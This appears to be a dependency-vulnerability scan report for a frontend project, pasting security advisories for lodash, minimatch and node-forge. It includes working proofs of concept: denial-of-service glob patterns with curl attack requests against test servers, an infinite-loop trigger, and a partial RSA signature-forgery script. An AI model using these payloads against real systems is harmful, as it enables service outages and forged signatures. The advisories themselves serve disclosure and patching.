.replace(/"/g, """)
.replace(/'/g, "'")
doc.addMetadata(input)
```CWE-20 Improper Input Validation, CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/karma.conf.js
MD5: 0252269cf0d9f0811a1c470e800e2126
SHA1: a8499b99e58cb892900ba688441310f193138f11
SHA256:f02aa533841dbb98cbe4b7803b454f40a6ec1cbc22688b6468b511f98470e1a7
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?lodash-es
Referenced In Project/Scope: package-lock.json: transitive
### Impact The fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink. When an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`. ### Patches Users should upgrade to version 4.18.0. The fix applies two changes: 1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option) 2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated ### Workarounds Do not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names.CWE-94 Improper Control of Generation of Code ('Code Injection')
Vulnerable Software & Versions (NPM):
### Impact Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. ### Patches This issue is patched in 4.18.0. ### Workarounds None. Upgrade to the patched version.CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?lodash
Referenced In Project/Scope: package-lock.json: transitive
### Impact The fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink. When an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`. ### Patches Users should upgrade to version 4.18.0. The fix applies two changes: 1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option) 2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated ### Workarounds Do not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names.CWE-94 Improper Control of Generation of Code ('Code Injection')
Vulnerable Software & Versions (NPM):
### Impact Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. ### Patches This issue is patched in 4.18.0. ### Workarounds None. Upgrade to the patched version.CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/main-UCAVIRQB.js
MD5: 65e297760f30ed78e768625063f97425
SHA1: d037786c41d6afda60fe67a081dec33e8ad64f14
SHA256:51c9a0a1eec35b403267766d70c88e5e26a56ffe3b0a84e08984a8504396cb6c
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?minimatch
Referenced In Project/Scope: package-lock.json: transitive
### Summary
Nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.
---
### Details
The root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:
```typescript
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
```
This produces the following regexps:
| Pattern | Generated regex |
|----------------------|------------------------------------------|
| `*(a\|b)` | `/^(?:a\|b)*$/` |
| `*(*(a\|b))` | `/^(?:(?:a\|b)*)*$/` |
| `*(*(*(a\|b)))` | `/^(?:(?:(?:a\|b)*)*)*$/` |
| `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/` |
These are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`.
The generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.
Measured times via `minimatch()`:
| Pattern | Input | Time |
|----------------------|--------------------|------------|
| `*(*(a\|b))` | `a` x30 + `z` | ~68,000ms |
| `*(*(*(a\|b)))` | `a` x20 + `z` | ~124,000ms |
| `*(*(*(*(a\|b))))` | `a` x25 + `z` | ~116,000ms |
| `*(a\|a)` | `a` x25 + `z` | ~2,000ms |
Depth inflection at fixed input `a` x16 + `z`:
| Depth | Pattern | Time |
|-------|----------------------|--------------|
| 1 | `*(a\|b)` | 0ms |
| 2 | `*(*(a\|b))` | 4ms |
| 3 | `*(*(*(a\|b)))` | 270ms |
| 4 | `*(*(*(*(a\|b))))` | 115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
---
### PoC
Tested on minimatch@10.2.2, Node.js 20.
**Step 1 -- verify the generated regexps and timing (standalone script)**
Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:
```javascript
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
```
Observed output:
```
depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
```
**Step 2 -- HTTP server (event loop starvation proof)**
Save as `poc4-server.mjs`:
```javascript
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
```
Terminal 1 -- start the server:
```
node poc4-server.mjs
```
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
```
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
```
Terminal 3 -- send a benign request while the attack is in-flight:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
```
**Observed output -- Terminal 2 (attack):**
```
{"result":false,"ms":"64149"}
```
**Observed output -- Terminal 3 (benign, concurrent):**
```
{"result":false,"ms":"0"}
time_total: 63.022047s
```
**Terminal 1 (server log):**
```
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
```
The server reports `"ms":"0"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
---
### Impact
Any context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.CWE-1333 Inefficient Regular Expression ComplexityVulnerable Software & Versions (NPM):
### Summary
`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
---
### Details
The vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):
```typescript
while (fr < fl) {
..
if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
..
return true
}
..
fr++
}
```
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time |
|---------------|--------------|----------|
| 7 | 36 bytes | ~154ms |
| 9 | 46 bytes | ~1.2s |
| 11 | 56 bytes | ~5.4s |
| 12 | 61 bytes | ~9.7s |
| 13 | 66 bytes | ~15.9s |
---
### PoC
Tested on minimatch@10.2.2, Node.js 20.
**Step 1 -- inline script**
```javascript
import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
```
To scale the effect, increase k:
```javascript
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path = Array(30).fill('a').join('/')
minimatch(path, pattern)
```
No special options are required. This reproduces with the default `minimatch()` call.
**Step 2 -- HTTP server (event loop starvation proof)**
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
```javascript
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})
server.listen(PORT)
```
Terminal 1 -- start the server:
```
node poc1-server.mjs
```
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
```
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
```
Terminal 3 -- while the attack is in-flight, send a benign request:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
```
**Observed output (Terminal 3):**
```
{"result":true,"ms":"0"}
time_total: 4.132709s
```
The server reports `"ms":"0"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:
```
{"result":true,"ms":"0"}
time_total: 0.001599s
```
---
### Impact
Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.CWE-407 Inefficient Algorithmic ComplexityVulnerable Software & Versions (NPM):
### Summary `minimatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive `*` wildcards followed by a literal character that doesn't appear in the test string. Each `*` compiles to a separate `[^/]*?` regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of `*` characters. With N=15, a single `minimatch()` call takes ~2 seconds. With N=34, it hangs effectively forever. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ### PoC When minimatch compiles a glob pattern, each `*` becomes `[^/]*?` in the generated regex. For a pattern like `***************X***`: ``` /^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/ ``` When the test string doesn't contain `X`, the regex engine must try every possible way to distribute the characters across all the `[^/]*?` groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. ### Impact Any application that passes user-controlled strings to `minimatch()` as the pattern argument is vulnerable to DoS. This includes: - File search/filter UIs that accept glob patterns - `.gitignore`-style filtering with user-defined rules - Build tools that accept glob configuration - Any API that exposes glob matching to untrusted input ---- Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?node-forge
Referenced In Project/Scope: package-lock.json: transitive
## Summary
A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU.
Affected Package
Package name: node-forge (npm: node-forge)
Repository: https://github.com/digitalbazaar/forge
Affected versions: All versions (including latest)
Affected file: lib/jsbn.js, function bnModInverse()
Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library
## Vulnerability Details
Type: Denial of Service (DoS)
CWE: CWE-835 (Loop with Unreachable Exit Condition)
Attack vector: Network (if the application processes untrusted input that reaches modInverse)
Privileges required: None
User interaction: None
Impact: Availability (process hangs indefinitely)
Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage)
## Root Cause Analysis
The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m.
Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop.
The relevant code path in lib/jsbn.js:
```js
javascriptfunction bnModInverse(m) {
// ... setup ...
// No check for this == 0
// Enters Extended Euclidean Algorithm loop that never terminates when this == 0
}
```
## Attack Scenario
Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:
DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang.
Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters.
Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().
A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.
## Proof of Concept
Environment Setup
```bash
mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge
```
Reproduction (poc.js)
A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging.
```bash
mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge
# Save the script below as poc.js, then run:
node poc.js
```
```javascript
'use strict';
const { spawnSync } = require('child_process');
const childCode = `
const forge = require('node-forge');
// jsbn may not be auto-loaded; try explicit require if needed
if (!forge.jsbn) {
try { require('node-forge/lib/jsbn'); } catch(e) {}
}
if (!forge.jsbn || !forge.jsbn.BigInteger) {
console.error('ERROR: forge.jsbn.BigInteger not available');
process.exit(2);
}
const BigInteger = forge.jsbn.BigInteger;
const zero = new BigInteger('0', 10);
const mod = new BigInteger('3', 10);
// This call should throw or return 0, but instead loops forever
const inv = zero.modInverse(mod);
console.log('returned: ' + inv.toString());
`;
console.log('[*] Testing: BigInteger(0).modInverse(3)');
console.log('[*] Expected: throw an error or return quickly');
console.log('[*] Spawning child process with 5s timeout...');
console.log();
const result = spawnSync(process.execPath, ['-e', childCode], {
encoding: 'utf8',
timeout: 5000,
});
if (result.error && result.error.code === 'ETIMEDOUT') {
console.log('[VULNERABLE] Child process timed out after 5s');
console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)');
process.exit(0);
}
if (result.status === 2) {
console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());
console.log(' -> Check your node-forge installation');
process.exit(1);
}
if (result.status === 0) {
console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());
process.exit(1);
}
console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');
if (result.stderr) console.log(' stderr:', result.stderr.trim());
process.exit(1);
```
Expected Output
```
[*] Testing: BigInteger(0).modInverse(3)
[*] Expected: throw an error or return quickly
[*] Spawning child process with 5s timeout...
[VULNERABLE] Child process timed out after 5s
-> modInverse(0, 3) entered an infinite loop (DoS confirmed)
Verified On
```
node-forge v1.3.1 (latest at time of writing)
Node.js v18.x / v20.x / v22.x
macOS / Linux / Windows
## Impact
Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests.
Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.
## Suggested Fix
Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js:
```javascript
function bnModInverse(m) {
var ac = m.isEven();
// Add this check:
if (this.signum() == 0) {
throw new Error('BigInteger has no modular inverse: input is zero');
}
// ... rest of the existing implementation ...
}
```
Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')Vulnerable Software & Versions (NPM):
## Summary
RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it.
Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries.
## Impacted Deployments
**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`
**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.
**Configuration assumptions:**
- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).
- `_parseAllDigestBytes: true` (default setting).
## Root Cause
In `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.
Two issues are present with this logic:
1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.
2. `_decodePkcs1_v1_5` comments mention that PS < 8 bytes should be rejected, but does not implement this logic.
## Reproduction Steps
1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.
4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.
5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.
6. The script verifies both signatures with:
- forge verify (`_parseAllDigestBytes: true`), and
- Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).
7. Confirm output includes:
- `control-forge-strict: true`
- `control-node: true`
- `forgery (forge library, strict): true`
- `forgery (node/OpenSSL): false`
## Proof of Concept
**Overview:**
- Demonstrates a valid control signature and a forged signature in one run.
- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).
- Uses Node/OpenSSL as an differential verification baseline.
- Observed output on tested commit:
```text
control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false
```
<details><summary>repro_min.js</summary>
```javascript
#!/usr/bin/env node
'use strict';
const crypto = require('crypto');
const forge = require('./forge/lib/index');
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
// SEQUENCE { OID sha256, NULL },
// OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
'300d060960864801650304020105000420',
'hex'
);
const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
let h = n.toString(16);
if (h.length % 2) h = '0' + h;
const b = Buffer.from(h, 'hex');
return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
let lo = 0n;
let hi = 1n;
while (hi * hi * hi <= n) hi <<= 1n;
while (lo + 1n < hi) {
const mid = (lo + hi) >> 1n;
if (mid * mid * mid <= n) lo = mid;
else hi = mid;
}
return lo;
}
const cbrtCeil = n => {
const f = cbrtFloor(n);
return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
if (len < 0x80) return Buffer.from([len]);
if (len <= 0xff) return Buffer.from([0x81, len]);
return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}
function forgeStrictVerify(publicPem, msg, sig) {
const key = forge.pki.publicKeyFromPem(publicPem);
const md = forge.md.sha256.create();
md.update(msg.toString('utf8'), 'utf8');
try {
// verify(digestBytes, signatureBytes, scheme, options):
// - digestBytes: raw SHA-256 digest bytes for `msg`
// - signatureBytes: binary-string representation of the candidate signature
// - scheme: undefined => default RSASSA-PKCS1-v1_5
// - options._parseAllDigestBytes: require DER parser to consume all bytes
// (this is forge's default for verify; set explicitly here for clarity)
return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
} catch (err) {
return { ok: false, err: err.message };
}
}
function main() {
const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
modulusLength: 4096,
publicExponent: 3,
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
});
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
const nBytes = Buffer.from(jwk.n, 'base64url');
const n = toBig(nBytes);
const e = toBig(Buffer.from(jwk.e, 'base64url'));
if (e !== 3n) throw new Error('expected e=3');
const msg = Buffer.from('forged-message-0', 'utf8');
const digest = crypto.createHash('sha256').update(msg).digest();
const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
const k = nBytes.length;
// ffCount can be set to any value at or below 111 and produce a valid signature.
// ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
// However, current versions of node forge do not check for this.
// Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
const ffCount = 0;
// `garbageLen` affects DER length field sizes, which in turn affect how
// many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
// A small cap (8) is enough here: DER length-size transitions are discrete
// and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
let garbageLen = 0;
for (let i = 0; i < 8; i += 1) {
const gLenEnc = derLen(garbageLen).length;
const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
const seqLenEnc = derLen(seqLen).length;
const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
const next = k - fixed;
if (next === garbageLen) break;
garbageLen = next;
}
const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
const prefix = Buffer.concat([
Buffer.from([0x00, 0x01]),
Buffer.alloc(ffCount, 0xff),
Buffer.from([0x00]),
Buffer.from([0x30]), derLen(seqLen),
algAndDigest,
Buffer.from([0x04]), derLen(garbageLen)
]);
// Build the numeric interval of all EM values that start with `prefix`:
// - `low` = prefix || 00..00
// - `high` = one past (prefix || ff..ff)
// Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
const suffixLen = k - prefix.length;
const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
const high = low + (1n << BigInt(8 * suffixLen));
const s = cbrtCeil(low);
if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
